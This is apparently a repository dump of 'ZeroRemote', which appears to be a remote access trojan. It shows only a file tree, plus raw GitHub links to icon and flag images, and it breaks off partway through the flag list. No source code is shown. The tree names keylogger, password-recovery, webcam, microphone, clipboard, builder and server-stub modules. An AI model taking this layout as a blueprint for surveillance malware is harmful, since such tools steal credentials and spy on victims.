├── Client
└── Client
│ ├── Client
│ ├── icon.ico
│ ├── CPQLDKm.ico
│ ├── Untitled.ico
│ ├── Resources
│ │ ├── ad.png
│ │ ├── ae.png
│ │ ├── af.png
│ │ ├── ag.png
│ │ ├── ai.png
│ │ ├── al.png
│ │ ├── am.png
│ │ ├── an.png
│ │ ├── ao.png
│ │ ├── ar.png
│ │ ├── as.png
│ │ ├── at.png
│ │ ├── au.png
│ │ ├── aw.png
│ │ ├── ax.png
│ │ ├── az.png
│ │ ├── ba.png
│ │ ├── bb.png
│ │ ├── bd.png
│ │ ├── be.png
│ │ ├── bf.png
│ │ ├── bg.png
│ │ ├── bh.png
│ │ ├── bi.png
│ │ ├── bj.png
│ │ ├── bm.png
│ │ ├── bn.png
│ │ ├── bo.png
│ │ ├── br.png
│ │ ├── bs.png
│ │ ├── bt.png
│ │ ├── bv.png
│ │ ├── bw.png
│ │ ├── by.png
│ │ ├── bz.png
│ │ ├── ca.png
│ │ ├── cc.png
│ │ ├── cd.png
│ │ ├── cf.png
│ │ ├── cg.png
│ │ ├── ch.png
│ │ ├── ci.png
│ │ ├── ck.png
│ │ ├── cl.png
│ │ ├── cm.png
│ │ ├── cn.png
│ │ ├── co.png
│ │ ├── cr.png
│ │ ├── cs.png
│ │ ├── cu.png
│ │ ├── cv.png
│ │ ├── cx.png
│ │ ├── cy.png
│ │ ├── cz.png
│ │ ├── de.png
│ │ ├── dj.png
│ │ ├── dk.png
│ │ ├── dm.png
│ │ ├── do.png
│ │ ├── dz.png
│ │ ├── ec.png
│ │ ├── ee.png
│ │ ├── eg.png
│ │ ├── eh.png
│ │ ├── er.png
│ │ ├── es.png
│ │ ├── et.png
│ │ ├── fam.png
│ │ ├── fi.png
│ │ ├── fj.png
│ │ ├── fk.png
│ │ ├── fm.png
│ │ ├── fo.png
│ │ ├── fr.png
│ │ ├── ga.png
│ │ ├── gb.png
│ │ ├── gd.png
│ │ ├── ge.png
│ │ ├── gf.png
│ │ ├── gh.png
│ │ ├── gi.png
│ │ ├── gl.png
│ │ ├── gm.png
│ │ ├── gn.png
│ │ ├── gp.png
│ │ ├── gq.png
│ │ ├── gr.png
│ │ ├── gs.png
│ │ ├── gt.png
│ │ ├── gu.png
│ │ ├── gw.png
│ │ ├── gy.png
│ │ ├── hk.png
│ │ ├── hm.png
│ │ ├── hn.png
│ │ ├── hr.png
│ │ ├── ht.png
│ │ ├── hu.png
│ │ ├── id.png
│ │ ├── ie.png
│ │ ├── il.png
│ │ ├── in.png
│ │ ├── io.png
│ │ ├── iq.png
│ │ ├── ir.png
│ │ ├── is.png
│ │ ├── it.png
│ │ ├── jm.png
│ │ ├── jo.png
│ │ ├── jp.png
│ │ ├── ke.png
│ │ ├── kg.png
│ │ ├── kh.png
│ │ ├── ki.png
│ │ ├── km.png
│ │ ├── kn.png
│ │ ├── kp.png
│ │ ├── kr.png
│ │ ├── kw.png
│ │ ├── ky.png
│ │ ├── kz.png
│ │ ├── la.png
│ │ ├── lb.png
│ │ ├── lc.png
│ │ ├── li.png
│ │ ├── lk.png
│ │ ├── lr.png
│ │ ├── ls.png
│ │ ├── lt.png
│ │ ├── lu.png
│ │ ├── lv.png
│ │ ├── ly.png
│ │ ├── ma.png
│ │ ├── mc.png
│ │ ├── md.png
│ │ ├── me.png
│ │ ├── mg.png
│ │ ├── mh.png
│ │ ├── mk.png
│ │ ├── ml.png
│ │ ├── mm.png
│ │ ├── mn.png
│ │ ├── mo.png
│ │ ├── mp.png
│ │ ├── mq.png
│ │ ├── mr.png
│ │ ├── ms.png
│ │ ├── mt.png
│ │ ├── mu.png
│ │ ├── mv.png
│ │ ├── mw.png
│ │ ├── mx.png
│ │ ├── my.png
│ │ ├── mz.png
│ │ ├── na.png
│ │ ├── nc.png
│ │ ├── ne.png
│ │ ├── nf.png
│ │ ├── ng.png
│ │ ├── ni.png
│ │ ├── nl.png
│ │ ├── no.png
│ │ ├── np.png
│ │ ├── nr.png
│ │ ├── nu.png
│ │ ├── nz.png
│ │ ├── om.png
│ │ ├── pa.png
│ │ ├── pe.png
│ │ ├── pf.png
│ │ ├── pg.png
│ │ ├── ph.png
│ │ ├── pk.png
│ │ ├── pl.png
│ │ ├── pm.png
│ │ ├── pn.png
│ │ ├── pr.png
│ │ ├── ps.png
│ │ ├── pt.png
│ │ ├── pw.png
│ │ ├── py.png
│ │ ├── qa.png
│ │ ├── re.png
│ │ ├── ro.png
│ │ ├── rs.png
│ │ ├── ru.png
│ │ ├── rw.png
│ │ ├── sa.png
│ │ ├── sb.png
│ │ ├── sc.png
│ │ ├── sd.png
│ │ ├── se.png
│ │ ├── sg.png
│ │ ├── sh.png
│ │ ├── si.png
│ │ ├── sj.png
│ │ ├── sk.png
│ │ ├── sl.png
│ │ ├── sm.png
│ │ ├── sn.png
│ │ ├── so.png
│ │ ├── sr.png
│ │ ├── st.png
│ │ ├── sv.png
│ │ ├── sy.png
│ │ ├── sz.png
│ │ ├── tc.png
│ │ ├── td.png
│ │ ├── tf.png
│ │ ├── tg.png
│ │ ├── th.png
│ │ ├── tj.png
│ │ ├── tk.png
│ │ ├── tl.png
│ │ ├── tm.png
│ │ ├── tn.png
│ │ ├── to.png
│ │ ├── tr.png
│ │ ├── tt.png
│ │ ├── tv.png
│ │ ├── tw.png
│ │ ├── tz.png
│ │ ├── ua.png
│ │ ├── ug.png
│ │ ├── um.png
│ │ ├── up.png
│ │ ├── us.png
│ │ ├── uy.png
│ │ ├── uz.png
│ │ ├── va.png
│ │ ├── vc.png
│ │ ├── ve.png
│ │ ├── vg.png
│ │ ├── vi.png
│ │ ├── vn.png
│ │ ├── vu.png
│ │ ├── wf.png
│ │ ├── ws.png
│ │ ├── ye.png
│ │ ├── yt.png
│ │ ├── za.png
│ │ ├── zm.png
│ │ ├── zw.png
│ │ ├── down.png
│ │ ├── globe.png
│ │ ├── wait.gif
│ │ ├── wales.png
│ │ ├── default.png
│ │ ├── england.png
│ │ ├── notify.wav
│ │ ├── scotland.png
│ │ ├── servers.png
│ │ ├── catalonia.png
│ │ ├── exclamation.png
│ │ ├── information.png
│ │ └── main.php
│ ├── My Project
│ │ ├── Settings.settings
│ │ ├── Application.myapp
│ │ ├── AssemblyInfo.vb
│ │ ├── Application.Designer.vb
│ │ └── Settings.Designer.vb
│ ├── SeperatorControl.vb
│ ├── ProcessmanagerModules.vb
│ ├── RegistrymanagerModifyValue.vb
│ ├── RegistrymanagerCreateValue.vb
│ ├── ProcessmanagerStartProcess.vb
│ ├── WindowmanagerTitleChanger.vb
│ ├── app.config
│ ├── Clipboard.vb
│ ├── FilemanagerRenameFolder.vb
│ ├── Win32.vb
│ ├── Downloadmanager.vb
│ ├── FilemanagerFileinfo.vb
│ ├── ApplicationSettings.vb
│ ├── Softwaremanager.vb
│ ├── Serverinformation.vb
│ ├── Systeminformation.vb
│ ├── Keylogger.vb
│ ├── BuilderAdvancedSettings.vb
│ ├── FilemanagerRenameFile.vb
│ ├── Networkviewer.vb
│ ├── BuilderQuerySpeed.vb
│ ├── FilemanagerCreateFolder.vb
│ ├── NotificationGlobalMessage.vb
│ ├── Notification.vb
│ ├── Microphone.vb
│ ├── BuilderAssemblyInformation.vb
│ ├── MessageBoxManager.vb
│ ├── PasswordRecovery.vb
│ ├── Clipboard.Designer.vb
│ ├── IconComboBox.vb
│ ├── NotificationGlobalMessage.Designer.vb
│ ├── Waiting.Designer.vb
│ ├── Webcamviewer.vb
│ ├── ProcessmanagerModules.Designer.vb
│ ├── FilemanagerCreateFolder.Designer.vb
│ ├── ProcessmanagerStartProcess.Designer.vb
│ ├── RegistrymanagerCreateValue.Designer.vb
│ ├── Processmanager.vb
│ ├── FilemanagerRenameFile.Designer.vb
│ ├── Servicemanager.vb
│ └── RegistrymanagerModifyValue.Designer.vb
│ └── Client.sln
├── Server
├── Server
│ ├── My Project
│ │ ├── Settings.settings
│ │ ├── Application.Designer.vb
│ │ ├── Application.myapp
│ │ ├── AssemblyInfo.vb
│ │ ├── app.manifest
│ │ ├── Resources.Designer.vb
│ │ └── Settings.Designer.vb
│ ├── SecureStrings.vb
│ ├── app.config
│ └── Webcam.vb
└── Server.sln
└── PHP Files
└── main.php
/Client/Client/Client/icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/icon.ico
--------------------------------------------------------------------------------
/Client/Client/Client/CPQLDKm.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/CPQLDKm.ico
--------------------------------------------------------------------------------
/Client/Client/Client/Untitled.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Untitled.ico
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ad.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ae.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ae.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/af.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/af.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ag.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ai.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ai.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/al.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/al.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/am.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/am.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/an.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/an.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ao.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ao.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ar.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/as.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/as.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/at.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/at.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/au.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/au.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/aw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/aw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ax.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ax.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/az.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/az.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ba.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ba.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bb.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bd.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/be.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/be.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bh.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bi.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bj.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bo.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/br.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/br.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bs.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bv.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/by.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/by.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/bz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ca.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ca.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cd.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ch.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ci.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ci.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ck.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ck.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cl.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/co.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/co.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cs.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cv.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cx.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cy.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/cz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/de.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/de.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/dj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dj.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/dk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/dm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/do.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/do.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/dz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ec.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ee.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ee.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/eg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/eg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/eh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/eh.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/er.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/er.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/es.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/es.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/et.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/et.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fam.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fam.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fi.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fj.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fo.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/fr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ga.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ga.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gb.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gd.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ge.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ge.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gh.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gi.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gl.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gp.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gq.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gs.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/gy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gy.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/hm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/hn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/hr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ht.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ht.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/hu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/id.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/id.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ie.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ie.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/il.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/il.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/in.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/in.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/io.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/io.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/iq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/iq.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ir.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ir.png
